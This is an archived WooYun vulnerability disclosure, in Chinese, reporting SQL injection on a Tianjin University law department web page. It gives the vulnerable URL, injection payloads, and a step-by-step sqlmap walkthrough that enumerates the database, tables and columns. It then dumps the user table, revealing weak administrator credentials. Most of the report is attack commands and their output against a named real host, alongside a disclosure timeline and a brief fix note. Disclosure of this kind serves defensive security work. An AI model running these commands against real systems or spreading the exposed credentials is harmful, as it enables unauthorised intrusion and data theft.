乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-05-19: 细节已通知厂商并且等待厂商处理中 2014-05-23: 厂商已经确认,细节仅向厂商公开 2014-06-02: 细节向核心白帽子及相关领域专家公开 2014-06-12: 细节向普通白帽子公开 2014-06-22: 细节向实习白帽子公开 2014-07-03: 细节向公众公开
天津大学某分站#SQL注入
MYSQL注入地址出现在法学系官网:
http://faxuexi.tju.edu.cn/sub_teach_program.php?id=14
---Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=14 AND 1702=1702 Type: UNION query Title: MySQL UNION query (NULL) - 5 columns Payload: id=14 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6b63693a,0x70725175747a68684a48,0x3a72766e3a), NULL, NULL, NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=14 AND SLEEP(5)---
#1、获取数据库:
./sqlmap.py -u "http://faxuexi.tju.edu.cn/sub_teach_program.php?id=14" --dbs
available databases [2]: [*] 2012_law_tju[*] information_schema
#2、获取表段:
./sqlmap.py -u "http://faxuexi.tju.edu.cn/sub_teach_program.php?id=14" -D 2012_law_tju --tables
Database: 2012_law_tju [15 tables]+-------------------+| active || admin_group || adminlog || course || info || law_help || law_intro || link || news || organ_set || party_work || science_communion || teach_program || teacher || user |+-------------------+
#3、获取字段:
./sqlmap.py -u "http://faxuexi.tju.edu.cn/sub_teach_program.php?id=14" -D 2012_law_tju -T user --columns
Database: 2012_law_tju Table: user[8 columns]+----------+-------------+| Column | Type |+----------+-------------+| ID | int(20) || LastIP | varchar(15) || LastTime | varchar(11) || Name | varchar(20) || Online | char(2) || Order | int(2) || Password | varchar(25) || Power | varchar(20) |+----------+-------------+
#4、猜解内容:
./sqlmap.py -u "http://faxuexi.tju.edu.cn/sub_teach_program.php?id=14" -D 2012_law_tju -T user -C Name,Password --dump
Database: 2012_law_tjuTable: user[2 entries]+-------+----------+| Name | Password |+-------+----------+| law | law || admin | admin |+-------+----------+而且还是弱口令- -.
安全测试,还有很多重要的敏感信息就不展示了- -.
修复 过滤 :)
危害等级:低
漏洞Rank:5
确认时间:2014-05-23 11:59
已停,通知用户整改
暂无